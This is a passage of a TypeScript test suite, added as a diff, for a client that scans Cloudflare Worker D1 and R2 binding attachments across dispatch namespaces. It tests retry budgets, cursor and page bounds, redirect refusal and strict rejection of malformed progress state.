+        plane: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+      {
+        scriptName: 'dispatch-r2',
+        plane: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+    ]);
+    await expect(
+      client(fixture.fetch).listWorkerR2Attachments('target-bucket'),
+    ).resolves.toEqual([
+      {
+        scriptName: 'dispatch-r2',
+        plane: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+      {
+        scriptName: 'dispatch-r2',
+        plane: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+      { scriptName: 'percentage-free', plane: 'ordinary' },
+    ]);
+
+    const duplicateD1Fixture = recordingFetch(
+      worldHandler({
+        ordinary: [],
+        namespaces: [
+          {
+            name: 'fleet',
+            pages: [{ scripts: ['dispatch-d1', 'dispatch-d1'] }],
+            bindings: {
+              'dispatch-d1': [{ type: 'd1', database_id: 'target-db' }],
+            },
+          },
+        ],
+      }),
+    );
+    await expect(
+      drain(client(duplicateD1Fixture.fetch), D1_TARGET),
+    ).resolves.toMatchObject({
+      attachments: [
+        {
+          scriptName: 'dispatch-d1',
+          plane: 'dispatch',
+          dispatchNamespace: 'fleet',
+        },
+        {
+          scriptName: 'dispatch-d1',
+          plane: 'dispatch',
+          dispatchNamespace: 'fleet',
+        },
+      ],
+    });
+    await expect(
+      client(duplicateD1Fixture.fetch).listWorkerDatabaseAttachments(
+        'target-db',
+      ),
+    ).resolves.toEqual([
+      {
+        scriptName: 'dispatch-d1',
+        plane: 'dispatch',
+        dispatchNamespace: 'fleet',
+      },
+    ]);
+
+    const malformedFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        return pageArray([{ id: 'malformed' }]);
+      }
+      if (target.pathname.endsWith('/deployments')) return single({});
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    await expect(
+      drain(client(malformedFixture.fetch), R2_TARGET),
+    ).rejects.toThrow(
+      "Cloudflare deployment inventory for ordinary Worker 'malformed' was malformed",
+    );
+
+    const oversizedScripts = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        return pageArray(
+          Array.from({ length: 10_001 }, (_, index) => ({
+            id: `script-${index}`,
+          })),
+        );
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    await expect(
+      drain(client(oversizedScripts.fetch), D1_TARGET),
+    ).rejects.toThrow(
+      'ordinary Worker script inventory exceeded the supported inventory bound of 10000 items',
+    );
+
+    const oversizedNamespaces = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray(
+          Array.from({ length: 10_001 }, (_, index) => ({
+            namespace_name: `namespace-${index}`,
+          })),
+        );
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    await expect(
+      drain(client(oversizedNamespaces.fetch), D1_TARGET),
+    ).rejects.toThrow(
+      'dispatch namespace inventory exceeded the supported inventory bound of 10000 items',
+    );
+
+    const oversizedVersions = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        return pageArray([{ id: 'many-versions' }]);
+      }
+      if (target.pathname.endsWith('/deployments')) {
+        return single({
+          deployments: [
+            {
+              versions: Array.from({ length: 10_001 }, (_, index) => ({
+                version_id: `version-${index}`,
+                percentage: index === 0 ? 100 : 0,
+              })),
+            },
+          ],
+        });
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    await expect(
+      drain(client(oversizedVersions.fetch), D1_TARGET),
+    ).rejects.toThrow(
+      "ordinary Worker 'many-versions' deployment version inventory exceeded the supported inventory bound of 10000 items",
+    );
+
+    for (const malformedBindings of ['version', 'settings'] as const) {
+      const fixture = recordingFetch(({ url }) => {
+        const target = new URL(url);
+        if (target.pathname.endsWith('/workers/scripts')) {
+          return pageArray(
+            malformedBindings === 'version' ? [{ id: 'ordinary' }] : [],
+          );
+        }
+        if (target.pathname.endsWith('/deployments')) {
+          return single({
+            deployments: [
+              { versions: [{ version_id: 'version', percentage: 100 }] },
+            ],
+          });
+        }
+        if (target.pathname.includes('/versions/')) return single({});
+        if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+          return pageArray([{ namespace_name: 'fleet' }]);
+        }
+        if (target.pathname.endsWith('/namespaces/fleet/scripts')) {
+          return pageArray([{ id: 'dispatch', tags: [] }]);
+        }
+        if (target.pathname.endsWith('/settings')) return single({});
+        throw new Error(`unexpected request ${target.pathname}`);
+      });
+      await expect(drain(client(fixture.fetch), D1_TARGET)).rejects.toThrow(
+        malformedBindings === 'version'
+          ? 'Cloudflare ordinary Worker version binding inventory was malformed'
+          : 'Cloudflare dispatch Worker binding inventory was malformed',
+      );
+    }
+
+    const malformedNamespace = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([
+          { namespace_name: 'fleet', namespace_id: 42 as unknown as string },
+        ]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    await expect(
+      drain(client(malformedNamespace.fetch), D1_TARGET),
+    ).rejects.toThrow(
+      "Cloudflare dispatch namespace 'fleet' had malformed identity metadata",
+    );
+  });
+
+  it('reserves complete retry sets for SDK and raw page operations', async () => {
+    expect(CLOUDFLARE_SDK_MAX_ATTEMPTS).toBe(CLOUDFLARE_SDK_MAX_RETRIES + 1);
+    let rawAttempts = 0;
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([{ namespace_name: 'fleet' }]);
+      }
+      if (target.pathname.endsWith('/namespaces/fleet/scripts')) {
+        rawAttempts += 1;
+        return rawAttempts < 3 ? apiFailure(503) : pageArray([]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const subject = client(fixture.fetch);
+    for (const invalidBudget of [8, 1_001, 9.5]) {
+      expect(() =>
+        assertWorkerAttachmentProviderRequestBudget(invalidBudget),
+      ).toThrow('maxProviderRequests must be an integer from 9 to 1000');
+      const requestCount = fixture.requests.length;
+      let budgetError: unknown;
+      try {
+        await advanceCloudflareWorkerAttachmentScan(subject, {
+          target: D1_TARGET,
+          progress: initialWorkerAttachmentScan(D1_TARGET),
+          maxProviderRequests: invalidBudget,
+        });
+      } catch (error) {
+        budgetError = error;
+      }
+      expect(budgetError).toBeInstanceOf(Error);
+      expect((budgetError as Error).message).toBe(
+        'maxProviderRequests must be an integer from 9 to 1000',
+      );
+      expect(fixture.requests).toHaveLength(requestCount);
+    }
+    expect(() => assertWorkerAttachmentProviderRequestBudget(9)).not.toThrow();
+    expect(() =>
+      assertWorkerAttachmentProviderRequestBudget(1_000),
+    ).not.toThrow();
+    const result = await drain(subject, D1_TARGET, { budget: 9 });
+    expect(result.terminal.status).toBe('complete');
+    expect(rawAttempts).toBe(3);
+    expect(
+      result.chunks.map((chunk) => chunk.providerFetchAttemptsReserved),
+    ).toContain(9);
+
+    let sdkAttempts = 0;
+    const sdkFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        sdkAttempts += 1;
+        return sdkAttempts < 3 ? apiFailure(503) : pageArray([]);
+      }
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    const sdkResult = await drain(client(sdkFixture.fetch), D1_TARGET, {
+      budget: 9,
+    });
+    expect(sdkResult.terminal).toMatchObject({
+      status: 'complete',
+      providerFetchAttemptsReserved: 6,
+    });
+    expect(sdkAttempts).toBe(CLOUDFLARE_SDK_MAX_ATTEMPTS);
+
+    let ceilingAttempts = 0;
+    const ceilingFixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        ceilingAttempts += 1;
+        return ceilingAttempts <= CLOUDFLARE_SDK_MAX_ATTEMPTS
+          ? apiFailure(503)
+          : pageArray([]);
+      }
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+    let ceilingError: unknown;
+    try {
+      await drain(client(ceilingFixture.fetch), D1_TARGET, { budget: 9 });
+    } catch (error) {
+      ceilingError = error;
+    }
+    expect(ceilingError).toBeInstanceOf(Error);
+    expect(ceilingAttempts).toBe(CLOUDFLARE_SDK_MAX_ATTEMPTS);
+  });
+
+  it('sends the raw dispatch script page request with manual redirect handling', async () => {
+    const handler = worldHandler(dispatchPageWorld());
+    const observed: RequestInit['redirect'][] = [];
+    const fixture = recordingFetch((request) => {
+      if (new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH)) {
+        observed.push(request.redirect);
+      }
+      return handler(request);
+    });
+
+    const result = await drain(client(fixture.fetch), D1_TARGET);
+
+    expect(result.terminal.status).toBe('complete');
+    expect(observed).toEqual(['manual']);
+  });
+
+  it('refuses a redirected raw dispatch script page and cancels its body', async () => {
+    const cancelled = vi.fn();
+    const handler = worldHandler(dispatchPageWorld());
+    const fixture = recordingFetch((request) =>
+      new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH)
+        ? new Response(new ReadableStream({ cancel: cancelled }), {
+            status: 302,
+            headers: { location: 'https://redirected.invalid/elsewhere' },
+          })
+        : handler(request),
+    );
+
+    const failure = await drain(client(fixture.fetch), D1_TARGET).catch(
+      (error: unknown) => error,
+    );
+
+    expect(failure).toMatchObject({
+      name: 'CredentialedRedirectRefusedError',
+      message:
+        'Cloudflare dispatch script listing refused a redirect with status 302',
+    });
+    expect(cancelled).toHaveBeenCalledTimes(1);
+    expect(
+      fixture.requests.filter(({ url }) =>
+        new URL(url).pathname.endsWith(DISPATCH_PAGE_PATH),
+      ),
+    ).toHaveLength(1);
+  });
+
+  it('cancels the body of a retried raw dispatch script page', async () => {
+    const cancelled = vi.fn();
+    const handler = worldHandler(dispatchPageWorld());
+    let attempts = 0;
+    const fixture = recordingFetch((request) => {
+      if (!new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH)) {
+        return handler(request);
+      }
+      attempts += 1;
+      return attempts === 1
+        ? new Response(new ReadableStream({ cancel: cancelled }), {
+            status: 503,
+            headers: { 'retry-after-ms': '1' },
+          })
+        : handler(request);
+    });
+
+    const result = await drain(client(fixture.fetch), D1_TARGET);
+
+    expect(result.terminal.status).toBe('complete');
+    expect(attempts).toBe(2);
+    expect(cancelled).toHaveBeenCalledTimes(1);
+  });
+
+  it('cancels the body of a refused raw dispatch script page', async () => {
+    const cancelled = vi.fn();
+    const handler = worldHandler(dispatchPageWorld());
+    const fixture = recordingFetch((request) =>
+      new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH)
+        ? new Response(new ReadableStream({ cancel: cancelled }), {
+            status: 400,
+          })
+        : handler(request),
+    );
+
+    const failure = await drain(client(fixture.fetch), D1_TARGET).catch(
+      (error: unknown) => error,
+    );
+
+    expect(failure).toMatchObject({
+      message: 'Cloudflare dispatch script listing failed with status 400',
+    });
+    expect(cancelled).toHaveBeenCalledTimes(1);
+  });
+
+  it('surfaces an SDK-routed redirect as a non-retried, non-transient status', async () => {
+    let listings = 0;
+    const fixture = recordingFetch(({ url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/workers/scripts')) {
+        listings += 1;
+        return new Response(null, {
+          status: 302,
+          headers: { location: 'https://redirected.invalid/elsewhere' },
+        });
+      }
+      if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+        return pageArray([]);
+      }
+      throw new Error(`unexpected request ${target.pathname}`);
+    });
+
+    const failure = await drain(client(fixture.fetch), D1_TARGET).catch(
+      (error: unknown) => error,
+    );
+
+    expect(failure).toBeInstanceOf(APIError);
+    expect((failure as APIError).status).toBe(302);
+    expect(listings).toBe(1);
+    expect(isTransientProviderError(failure)).toBe(false);
+  });
+
+  it('resumes an ordinary version index without repeating a committed version read', async () => {
+    const events: string[] = [];
+    const world: AttachmentWorld = {
+      ordinary: [
+        {
+          id: 'ordinary',
+          versions: [
+            { id: 'v1', percentage: 50 },
+            { id: 'v2', percentage: 50 },
+          ],
+        },
+      ],
+      namespaces: [],
+    };
+    const fixture = recordingFetch(worldHandler(world, events));
+    await drain(client(fixture.fetch), D1_TARGET, { budget: 9 });
+    expect(
+      events.filter((event) => event.includes('/versions/v1')),
+    ).toHaveLength(1);
+    expect(
+      events.filter((event) => event.includes('/versions/v2')),
+    ).toHaveLength(1);
+    expect(
+      events.filter((event) => event.endsWith('/deployments?')).length,
+    ).toBe(3);
+  });
+
+  it('re-fetches a partial dispatch page and skips committed settings offsets', async () => {
+    const events: string[] = [];
+    const world: AttachmentWorld = {
+      ordinary: [],
+      namespaces: [
+        {
+          name: 'fleet',
+          pages: [{ scripts: ['a', 'B', 'c'] }],
+        },
+      ],
+    };
+    const fixture = recordingFetch(worldHandler(world, events));
+    await drain(client(fixture.fetch), D1_TARGET, { budget: 9 });
+    expect(
+      events.filter((event) => event.includes('/namespaces/fleet/scripts?')),
+    ).toHaveLength(5);
+    for (const script of ['B', 'a', 'c']) {
+      expect(
+        events.filter((event) => event.includes(`/scripts/${script}/settings`)),
+      ).toHaveLength(1);
+    }
+    expect(
+      events
+        .filter((event) => event.endsWith('/settings?'))
+        .map((event) => event.split('/scripts/')[1]?.split('/settings')[0]),
+    ).toEqual(['B', 'a', 'c']);
+  });
+
+  it('produces page-independent evidence for every leaf kind and target seed', async () => {
+    const ordinary = [
+      { id: 'a', versions: [{ id: 'version-a', percentage: 100 }] },
+      { id: 'B', versions: [{ id: 'version-B', percentage: 100 }] },
+    ] as const;
+    const bindings = {
+      a: [
+        { type: 'd1', database_id: 'target-db' },
+        { type: 'r2_bucket', bucket_name: 'target-bucket' },
+      ],
+    };
+    const splitWorld: AttachmentWorld = {
+      ordinary,
+      namespaces: [
+        { name: 'a', pages: [{ scripts: [] }] },
+        {
+          name: 'B',
+          pages: [
+            { scripts: ['a'], nextCursor: 'opaque-A' },
+            { cursor: 'opaque-A', scripts: ['B'] },
+          ],
+          tags: { B: ['z', 'A'], a: ['tag:a', 'b', 'Z'] },
+          bindings,
+        },
+      ],
+    };
+    const singlePageWorld: AttachmentWorld = {
+      ordinary,
+      namespaces: [
+        { name: 'a', pages: [{ scripts: [] }] },
+        {
+          name: 'B',
+          pages: [{ scripts: ['B', 'a'] }],
+          tags: { B: ['z', 'A'], a: ['tag:a', 'b', 'Z'] },
+          bindings,
+        },
+      ],
+    };
+    const d1Split = await drain(
+      client(recordingFetch(worldHandler(splitWorld)).fetch),
+      D1_TARGET,
+      { budget: 12 },
+    );
+    const d1Single = await drain(
+      client(recordingFetch(worldHandler(singlePageWorld)).fetch),
+      D1_TARGET,
+      { budget: 12 },
+    );
+    const r2Single = await drain(
+      client(recordingFetch(worldHandler(singlePageWorld)).fetch),
+      R2_TARGET,
+      { budget: 12 },
+    );
+    for (const result of [d1Split, d1Single, r2Single]) {
+      expect(result.terminal.status).toBe('complete');
+    }
+    if (
+      d1Split.terminal.status !== 'complete' ||
+      d1Single.terminal.status !== 'complete' ||
+      r2Single.terminal.status !== 'complete'
+    ) {
+      throw new Error('attachment scan did not complete');
+    }
+    const dispatchLeaves = [
+      ['dispatch-settings', 'B', 'B', ['A', 'z'], false],
+      ['dispatch-settings', 'B', 'a', ['Z', 'b', 'tag:a'], true],
+    ] as const;
+    const leaves = [
+      ['ordinary-inventory', ['B', 'a']],
+      ['ordinary-deployment', 'B', [['version-B', 100]]],
+      ['ordinary-version', 'B', 'version-B', false],
+      ['ordinary-deployment', 'a', [['version-a', 100]]],
+      ['ordinary-version', 'a', 'version-a', false],
+      [
+        'dispatch-namespaces',
+        [
+          ['B', 'namespace-1', 2],
+          ['a', 'namespace-0', 0],
+        ],
+      ],
+      [
+        'dispatch-namespace',
+        'B',
+        dispatchLeaves.length,
+        multisetEvidence(dispatchLeaves),
+      ],
+      ['dispatch-namespace', 'a', 0, '0'.repeat(64)],
+    ] as const;
+    const expectedCount = 6 + dispatchLeaves.length + 2;
+    expect(d1Split.terminal).toMatchObject({
+      evidenceCount: expectedCount,
+      evidenceSha256: evidence(D1_TARGET, leaves),
+    });
+    expect(d1Single.terminal).toMatchObject({
+      evidenceCount: d1Split.terminal.evidenceCount,
+      evidenceSha256: d1Split.terminal.evidenceSha256,
+    });
+    expect(r2Single.terminal).toMatchObject({
+      evidenceCount: expectedCount,
+      evidenceSha256: evidence(R2_TARGET, leaves),
+    });
+  });
+
+  it('round-trips every exact progress arm and rejects cross-stage keys', () => {
+    const common = {
+      version: 1 as const,
+      target: D1_TARGET,
+      evidenceSha256: 'a'.repeat(64),
+      evidenceCount: 10,
+    };
+    const arms: WorkerAttachmentScanProgress[] = [
+      initialWorkerAttachmentScan(D1_TARGET),
+      {
+        ...common,
+        stage: 'ordinary-deployment',
+        ordinaryInventorySha256: 'b'.repeat(64),
+        scriptIndex: 1,
+        scriptName: 'script',
+      },
+      {
+        ...common,
+        stage: 'ordinary-version',
+        ordinaryInventorySha256: 'b'.repeat(64),
+        scriptIndex: 1,
+        scriptName: 'script',
+        deploymentSha256: 'c'.repeat(64),
+        versionIndex: 2,
+      },
+      {
+        ...common,
+        stage: 'dispatch-namespace-inventory',
+        ordinaryInventorySha256: 'b'.repeat(64),
+        namespaceIndex: 0,
+      },
+      {
+        ...common,
+        stage: 'dispatch-script-page',
+        ordinaryInventorySha256: 'b'.repeat(64),
+        namespaceInventorySha256: 'd'.repeat(64),
+        namespaceIndex: 1,
+        namespaceName: 'fleet',
+        pageStartCursor: 'cursor-2',
+        pageNumber: 2,
+        seenCursorSha256: [hash('cursor-1'), hash('cursor-2')],
+        totalDispatchItems: 20,
+        dispatchEvidenceSum256: 'e'.repeat(64),
+        dispatchEvidenceCount: 20,
+      },
+      {
+        ...common,
+        stage: 'dispatch-script-settings',
+        ordinaryInventorySha256: 'b'.repeat(64),
+        namespaceInventorySha256: 'd'.repeat(64),
+        namespaceIndex: 1,
+        namespaceName: 'fleet',
+        pageStartCursor: 'cursor-2',
+        nextCursor: 'next',
+        pageSha256: 'f'.repeat(64),
+        pageItemCount: 3,
+        itemOffset: 2,
+        pageNumber: 2,
+        seenCursorSha256: [hash('cursor-1'), hash('cursor-2'), hash('next')],
+        totalDispatchItems: 20,
+        dispatchEvidenceSum256: 'e'.repeat(64),
+        dispatchEvidenceCount: 19,
+      },
+    ];
+    for (const arm of arms) {
+      expect(
+        parseWorkerAttachmentScanProgress(
+          JSON.parse(JSON.stringify(arm)),
+          D1_TARGET,
+        ),
+      ).toEqual(arm);
+      expect(() =>
+        parseWorkerAttachmentScanProgress(
+          { ...arm, unexpected: true },
+          D1_TARGET,
+        ),
+      ).toThrow(CloudflareAttachmentScanProgressError);
+    }
+    for (const insufficientEvidence of [
+      {
+        version: 1,
+        target: D1_TARGET,
+        stage: 'ordinary-deployment',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 1,
+        ordinaryInventorySha256: 'b'.repeat(64),
+        scriptIndex: 1,
+        scriptName: 'script',
+      },
+      {
+        version: 1,
+        target: D1_TARGET,
+        stage: 'ordinary-version',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 4,
+        ordinaryInventorySha256: 'b'.repeat(64),
+        scriptIndex: 1,
+        scriptName: 'script',
+        deploymentSha256: 'c'.repeat(64),
+        versionIndex: 2,
+      },
+      {
+        version: 1,
+        target: D1_TARGET,
+        stage: 'dispatch-script-page',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 2,
+        ordinaryInventorySha256: 'b'.repeat(64),
+        namespaceInventorySha256: 'c'.repeat(64),
+        namespaceIndex: 1,
+        namespaceName: 'fleet',
+        pageNumber: 0,
+        seenCursorSha256: [],
+        totalDispatchItems: 0,
+        dispatchEvidenceSum256: '0'.repeat(64),
+        dispatchEvidenceCount: 0,
+      },
+    ]) {
+      expect(() =>
+        parseWorkerAttachmentScanProgress(insufficientEvidence, D1_TARGET),
+      ).toThrow(CloudflareAttachmentScanProgressError);
+    }
+  });
+
+  it('rejects future, wrong-target, accessor, prototype, hash, and index progress', () => {
+    const valid = initialWorkerAttachmentScan(D1_TARGET);
+    const accessor = vi.fn(() => 0);
+    const deepTrap = vi.fn(() => Object.prototype);
+    let deeplyNested: unknown = new Proxy({}, { getPrototypeOf: deepTrap });
+    for (let depth = 0; depth < 65; depth += 1) {
+      deeplyNested = [deeplyNested];
+    }
+    let wideArrayOwnKeyReads = 0;
+    let wideArrayItemReads = 0;
+    const wideArray = new Proxy(Array(8_192).fill(0), {
+      ownKeys: (target) => {
+        wideArrayOwnKeyReads += 1;
+        return Reflect.ownKeys(target);
+      },
+      getOwnPropertyDescriptor: (target, property) => {
+        if (property !== 'length') wideArrayItemReads += 1;
+        return Reflect.getOwnPropertyDescriptor(target, property);
+      },
+    });
+    let wideRecordValueReads = 0;
+    const wideRecord = new Proxy(
+      Object.fromEntries(
+        Array.from({ length: 8_192 }, (_, index) => [`key-${index}`, 0]),
+      ),
+      {
+        getOwnPropertyDescriptor: (target, property) => {
+          wideRecordValueReads += 1;
+          return Reflect.getOwnPropertyDescriptor(target, property);
+        },
+      },
+    );
+    let oversizedKeyValueReads = 0;
+    const oversizedKey = new Proxy(
+      { ['\u0000'.repeat(12_000)]: 0 },
+      {
+        getOwnPropertyDescriptor: (target, property) => {
+          oversizedKeyValueReads += 1;
+          return Reflect.getOwnPropertyDescriptor(target, property);
+        },
+      },
+    );
+    let largestNumberIndexRead = -1;
+    const wideNumbers = new Proxy(Array(3_000).fill(Number.MAX_VALUE), {
+      getOwnPropertyDescriptor: (target, property) => {
+        if (typeof property === 'string' && /^\d+$/.test(property)) {
+          largestNumberIndexRead = Number(property);
+        }
+        return Reflect.getOwnPropertyDescriptor(target, property);
+      },
+    });
+    let cycleOwnKeyReads = 0;
+    let cycleDescriptorReads = 0;
+    const cycleTarget: { self?: unknown } = {};
+    const cyclic = new Proxy(cycleTarget, {
+      ownKeys: (target) => {
+        cycleOwnKeyReads += 1;
+        return Reflect.ownKeys(target);
+      },
+      getOwnPropertyDescriptor: (target, property) => {
+        cycleDescriptorReads += 1;
+        return Reflect.getOwnPropertyDescriptor(target, property);
+      },
+    });
+    cycleTarget.self = cyclic;
+    const encode = vi.spyOn(TextEncoder.prototype, 'encode');
+    try {
+      expect(() =>
+        parseWorkerAttachmentScanProgress('x'.repeat(65_537), D1_TARGET),
+      ).toThrow(CloudflareAttachmentScanProgressError);
+      expect(encode).not.toHaveBeenCalled();
+      expect(() =>
+        parseWorkerAttachmentScanProgress(
+          { ['x'.repeat(65_537)]: 0 },
+          D1_TARGET,
+        ),
+      ).toThrow(CloudflareAttachmentScanProgressError);
+      expect(encode).not.toHaveBeenCalled();
+    } finally {
+      encode.mockRestore();
+    }
+    for (const malformed of [
+      { ...valid, version: 2 },
+      { ...valid, target: R2_TARGET },
+      { ...valid, evidenceSha256: 'not-a-hash' },
+      { ...valid, evidenceCount: -1 },
+      { ...valid, scriptIndex: 1 },
+      { ...valid, scriptIndex: 10_001 },
+      {
+        version: 1,
+        target: D1_TARGET,
+        stage: 'dispatch-namespace-inventory',
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 1,
+        ordinaryInventorySha256: 'b'.repeat(64),
+        namespaceIndex: 1,
+      },
+      Object.assign(Object.create({ inherited: true }), valid),
+      Object.defineProperty({ ...valid }, 'scriptIndex', {
+        enumerable: true,
+        get: accessor,
+      }),
+      new Proxy(valid, {
+        getPrototypeOf: () => {
+          throw new Error('prototype trap');
+        },
+      }),
+      Object.assign({ ...valid }, { [Symbol('unexpected')]: true }),
+      deeplyNested,
+      wideArray,
+      wideRecord,
+      oversizedKey,
+      wideNumbers,
+      cyclic,
+    ]) {
+      expect(() =>
+        parseWorkerAttachmentScanProgress(malformed, D1_TARGET),
+      ).toThrow(CloudflareAttachmentScanProgressError);
+    }
+    expect(accessor).not.toHaveBeenCalled();
+    expect(deepTrap).not.toHaveBeenCalled();
+    expect(wideArrayOwnKeyReads).toBe(0);
+    expect(wideArrayItemReads).toBe(0);
+    expect(wideRecordValueReads).toBe(0);
+    expect(oversizedKeyValueReads).toBe(0);
+    expect(largestNumberIndexRead).toBeLessThan(2_999);
+    expect(cycleOwnKeyReads).toBe(1);
+    expect(cycleDescriptorReads).toBe(1);
+
+    let progressError: unknown;
+    try {
+      parseWorkerAttachmentScanProgress({ ...valid, version: 2 }, D1_TARGET);
+    } catch (error) {
+      progressError = error;
+    }
+    expect(progressError).toBeInstanceOf(CloudflareAttachmentScanProgressError);
+    expect(progressError).toMatchObject({
+      name: 'CloudflareAttachmentScanProgressError',
+      message: 'Cloudflare attachment scan progress is malformed',
+    });
+  });
+
+  it('enforces cursor, page, item, evidence, and reachable-state bounds', () => {
+    const page = {
+      version: 1 as const,
+      target: D1_TARGET,
+      stage: 'dispatch-script-page' as const,
+      evidenceSha256: 'a'.repeat(64),
+      evidenceCount: 2,
+      ordinaryInventorySha256: 'b'.repeat(64),
+      namespaceInventorySha256: 'c'.repeat(64),
+      namespaceIndex: 0,
+      namespaceName: 'fleet',
+      pageNumber: 0,
+      seenCursorSha256: [] as string[],
+      totalDispatchItems: 0,
+      dispatchEvidenceSum256: '0'.repeat(64),
+      dispatchEvidenceCount: 0,
+    };
+    const oversizedCursor = 'é'.repeat(2_049);
+    const page100Cursors = Array.from(
+      { length: 100 },
+      (_, index) => `cursor-${index}`,
+    );
+    for (const malformed of [
+      {
+        ...page,
+        pageStartCursor: oversizedCursor,
+        pageNumber: 1,
+        seenCursorSha256: [hash(oversizedCursor)],
+      },
+      {
+        ...page,
+        pageStartCursor: page100Cursors.at(-1),
+        pageNumber: 100,
+        seenCursorSha256: page100Cursors.map(hash),
+      },
+      {
+        ...page,
+        totalDispatchItems: 10_001,
+        dispatchEvidenceSum256: 'd'.repeat(64),
+        dispatchEvidenceCount: 10_001,
+      },
+      {
+        ...page,
+        totalDispatchItems: 1,
+        dispatchEvidenceSum256: 'd'.repeat(64),
+        dispatchEvidenceCount: 1,
+      },
+      { ...page, evidenceCount: 1_000_001 },
+      {
+        ...page,
+        pageStartCursor: 'cursor',
+        pageNumber: 1,
+        seenCursorSha256: Object.defineProperty([hash('cursor')], '0', {
+          enumerable: true,
+          get: () => hash('cursor'),
+        }),
+      },
+      {
+        ...page,
+        pageStartCursor: '',
+        pageNumber: 1,
+        seenCursorSha256: [hash('')],
+      },
+      {
+        ...page,
+        stage: 'dispatch-script-settings',
+        nextCursor: '',
+        pageSha256: 'd'.repeat(64),
+        pageItemCount: 1,
+        itemOffset: 0,
+        seenCursorSha256: [hash('')],
+        totalDispatchItems: 1,
+      },
+      {
+        ...page,
+        stage: 'dispatch-script-settings',
+        pageSha256: 'd'.repeat(64),
+        pageItemCount: 0,
+        itemOffset: 0,
+      },
+      {
+        ...page,
+        stage: 'dispatch-script-settings',
+        pageSha256: hash(JSON.stringify([null, [['only', []]], null])),
+        pageItemCount: 1,
+        itemOffset: 0,
+        totalDispatchItems: 2,
+        dispatchEvidenceSum256: 'd'.repeat(64),
+        dispatchEvidenceCount: 1,
+      },
+    ]) {
+      expect(() =>
+        parseWorkerAttachmentScanProgress(malformed, D1_TARGET),
+      ).toThrow(CloudflareAttachmentScanProgressError);
+    }
+    expect(() =>
+      parseWorkerAttachmentScanProgress(
+        {
+          ...page,
+          stage: 'dispatch-script-settings',
+          pageSha256: 'd'.repeat(64),
+          pageItemCount: 3,
+          itemOffset: 4,
+          totalDispatchItems: 3,
+          dispatchEvidenceSum256: 'e'.repeat(64),
+          dispatchEvidenceCount: 4,
+        },
+        D1_TARGET,
+      ),
+    ).toThrow(CloudflareAttachmentScanProgressError);
+  });
+
+  it('rejects repeated and unbounded dispatch cursors and overfilled pages', async () => {
+    for (const mode of ['same', 'cycle', 'endless', 'overfilled'] as const) {
+      let page = 0;
+      const fixture = recordingFetch(({ url }) => {
+        const target = new URL(url);
+        if (target.pathname.endsWith('/workers/scripts')) return pageArray([]);
+        if (target.pathname.endsWith('/workers/dispatch/namespaces')) {
+          return pageArray([{ namespace_name: 'fleet' }]);
+        }
+        if (target.pathname.endsWith('/namespaces/fleet/scripts')) {
+          if (mode === 'overfilled') {
+            return pageArray(
+              Array.from({ length: 101 }, (_, index) => ({
+                id: `script-${index}`,
+                tags: [],
+              })),
+            );
+          }
+          const cursor = target.searchParams.get('cursor');
+          page += 1;
+          const next =
+            mode === 'same'
+              ? 'a'
+              : mode === 'cycle'
+                ? cursor === null
+                  ? 'a'
+                  : cursor === 'a'
+                    ? 'b'
+                    : 'a'
+                : `cursor-${page}`;
+          return pageArray([], { cursor: next });
+        }
+        throw new Error(`unexpected request ${target.pathname}`);
+      });
+      await expect(drain(client(fixture.fetch), D1_TARGET)).rejects.toThrow(
+        mode === 'overfilled'
+          ? 'Cloudflare dispatch script listing returned more than 100 items in one page'
+          : mode === 'endless'
+            ? 'Cloudflare dispatch script listing exceeded 100 pages'
+            : 'Cloudflare dispatch script listing repeated a cursor',
+      );
+    }
+  });
+
+  it('detects ordinary inventory and deployment drift before later version reads', async () => {
+    for (const driftTarget of ['inventory', 'deployment'] as const) {
+      let scriptsCalls = 0;
+      let deploymentCalls = 0;
+      let versionCalls = 0;
+      const fixture = recordingFetch(({ url }) => {
+        const target = new URL(url);
+        if (target.pathname.endsWith('/workers/scripts')) {
+          scriptsCalls += 1;
+          return pageArray([
+            {
+              id:
